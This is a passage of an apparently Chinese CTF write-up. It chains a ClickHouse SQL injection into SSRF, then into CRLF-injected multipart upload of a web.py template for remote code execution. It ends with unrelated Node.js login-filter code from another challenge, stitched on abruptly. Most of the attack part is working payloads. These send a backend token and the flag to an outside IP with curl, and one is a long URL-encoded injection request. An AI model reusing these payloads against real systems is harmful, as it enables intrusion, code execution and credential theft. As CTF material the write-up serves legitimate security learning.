可以发现成功获取了cookie,那么我们只需要外带出来就可以了 id =1 and (select * from url('[http://8.130.24.188:7776/](http://8.130.24.188:7775/',)?token='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))),CSV,'a String')) 这里需要注意一下源码里的nginx.conf
DOC中给出了insert语句的语法 insert into function url('[http://8.130.24.188:7775/',](http://8.130.24.188:7775/',) CSV, 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values('boogipop');
1 2 3 4 5 6 7 8 9 10 11 12
POST / HTTP/1.1 Host: 8.130.24.188 Transfer-Encoding: chunked Content-Type: text/csv; charset=UTF-8; header=absent Content-Type: multipart/form-data; boundary=----test X-Access-Token: 873d437a3a98b705c5a3ca7c503d000e Connection: Close
B "boogipop"
0
这里我们成功发起一段POST请求,但是有个问题就是有2个content-type,这个在 flask和其他中间件中,第二个type是不会被识别的,所以这里用的中间件是webpy。那么我们现在可以进行CRLF注入了。Values是可控的, 还有一点就是ssti模板注入了 https://webpy.org/docs/0.3/templetor.zh-cn webpy的模板允许我们执行任意python代码,那么直接rce了 我们的payload为 insert into function url('[http://8.130.24.188:7775/',](http://8.130.24.188:7775/',) CSV, 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values(' ------ test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://8.130.24.188:7775/?flag=/readflag | base64\')\r\n------test--');
但是这里是引号包裹的,所以我们得换个格式,把CSV换为TabSeparatedRaw 成功的构造出了文件上传的请求报文,最后的payload为 insert into function url('[http://backend:8001/api/upload',](http://8.130.24.188:7775/',)'TabSeparatedRaw', 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://8.130.24.188:7775/?flag=/readflag | base64\')\r\n------test--');
POST /query HTTP/1.1/../../api/ping HTTP/1.1 Host: localhost:8013 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 4234
id=1 and (select * from url('http://default:default@db:8123/?query=%25%36%39%25%36%65%25%37%33%25%36%35%25%37%32%25%37%34%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%32%25%36%31%25%36%33%25%36%62%25%36%35%25%36%65%25%36%34%25%33%61%25%33%38%25%33%30%25%33%30%25%33%31%25%32%66%25%36%31%25%37%30%25%36%39%25%32%66%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%37%25%32%63%25%32%37%25%35%34%25%36%31%25%36%32%25%35%33%25%36%35%25%37%30%25%36%31%25%37%32%25%36%31%25%37%34%25%36%35%25%36%34%25%35%32%25%36%31%25%37%37%25%32%37%25%32%63%25%32%30%25%32%37%25%36%31%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%37%25%32%63%25%36%38%25%36%35%25%36%31%25%36%34%25%36%35%25%37%32%25%37%33%25%32%38%25%32%37%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%32%37%25%33%64%25%32%37%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%32%37%25%32%63%25%32%37%25%35%38%25%32%64%25%34%31%25%36%33%25%36%33%25%36%35%25%37%33%25%37%33%25%32%64%25%35%34%25%36%66%25%36%62%25%36%35%25%36%65%25%32%37%25%33%64%25%32%37%25%33%38%25%33%37%25%33%33%25%36%34%25%33%34%25%33%33%25%33%37%25%36%31%25%33%33%25%36%31%25%33%39%25%33%38%25%36%32%25%33%37%25%33%30%25%33%35%25%36%33%25%33%35%25%36%31%25%33%33%25%36%33%25%36%31%25%33%37%25%36%33%25%33%35%25%33%30%25%33%33%25%36%34%25%33%30%25%33%30%25%33%30%25%36%35%25%32%37%25%32%39%25%32%39%25%32%30%25%35%36%25%36%31%25%36%63%25%37%35%25%36%35%25%37%33%25%32%38%25%32%37%25%32%30%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%35%63%25%37%32%25%35%63%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%64%25%37%39%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%32%65%25%32%65%25%32%66%25%37%34%25%36%35%25%36%64%25%37%30%25%36%63%25%36%31%25%37%34%25%36%35%25%37%33%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%36%38%25%37%34%25%36%64%25%36%63%25%32%32%25%35%63%25%37%32%25%35%63%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%37%30%25%36%63%25%36%31%25%36%39%25%36%65%25%35%63%25%37%32%25%35%63%25%36%65%25%35%63%25%37%32%25%35%63%25%36%65%25%32%34%25%36%33%25%36%66%25%36%34%25%36%35%25%33%61%25%35%63%25%37%32%25%35%63%25%36%65%25%30%39%25%35%66%25%35%66%25%36%39%25%36%64%25%37%30%25%36%66%25%37%32%25%37%34%25%35%66%25%35%66%25%32%38%25%35%63%25%32%37%25%36%66%25%37%33%25%35%63%25%32%37%25%32%39%25%32%65%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%38%25%35%63%25%32%37%25%36%33%25%37%35%25%37%32%25%36%63%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%33%38%25%32%65%25%33%31%25%33%33%25%33%30%25%32%65%25%33%32%25%33%34%25%32%65%25%33%31%25%33%38%25%33%38%25%33%61%25%33%37%25%33%37%25%33%37%25%33%35%25%32%66%25%33%66%25%36%36%25%36%63%25%36%31%25%36%37%25%33%64%25%36%30%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%36%36%25%36%63%25%36%31%25%36%37%25%32%30%25%37%63%25%32%30%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%36%30%25%35%63%25%32%37%25%32%39%25%35%63%25%37%32%25%35%63%25%36%65%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%32%64%25%32%64%25%32%37%25%32%39%25%33%62',CSV,'a String'))
let banned_users_regex = null; functionbuild_banned_users_regex() { let regex_string = "" for (let username of banned_users) { regex_string += "^" + escapeRegExp(username) + "$" + "|" } regex_string = regex_string.substring(0, regex_string.length - 1) banned_users_regex = newRegExp(regex_string, "g") }
//鉴权中间件 functionrequireLogin(req, res, next) { let username = req.body.username let password = req.body.password if (!username || !password) { res.send("用户名或密码不能为空") return } if (typeof username !== "string" || typeof password !== "string") { res.send("用户名或密码不合法") return } // 基于正则技术的封禁用户匹配系统的设计与实现 let test1 = banned_users_regex.test(username) console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`) if (test1) { console.log("第一个判断匹配到封禁用户:",username) res.send("用户'"+username + "'被封禁,无法鉴权!") return } // 基于in关键字的封禁用户匹配系统的设计与实现 let test2 = (username in banned_users) console.log(`使用in关键字匹配${username}的结果为:${test2}`) if (test2){ console.log("第二个判断匹配到封禁用户:",username) res.send("用户'"+username + "'被封禁,无法鉴权!") return } if (username in users && users[username] === password) { next() return } res.send("用户名或密码错误,鉴权失败!") }
functionregisterUser(username, password) { if (typeof username !== "string" || username.length > 20) { return"用户名不合法" } if (typeof password !== "string" || password.length > 20) { return"密码不合法" } if (username in users) { return"用户已存在" }
for(let existing_user in users){ let existing_user_password = users[existing_user] if (existing_user_password === password){ return`您的密码已经被用户'${existing_user}'使用了,请使用其它的密码` } }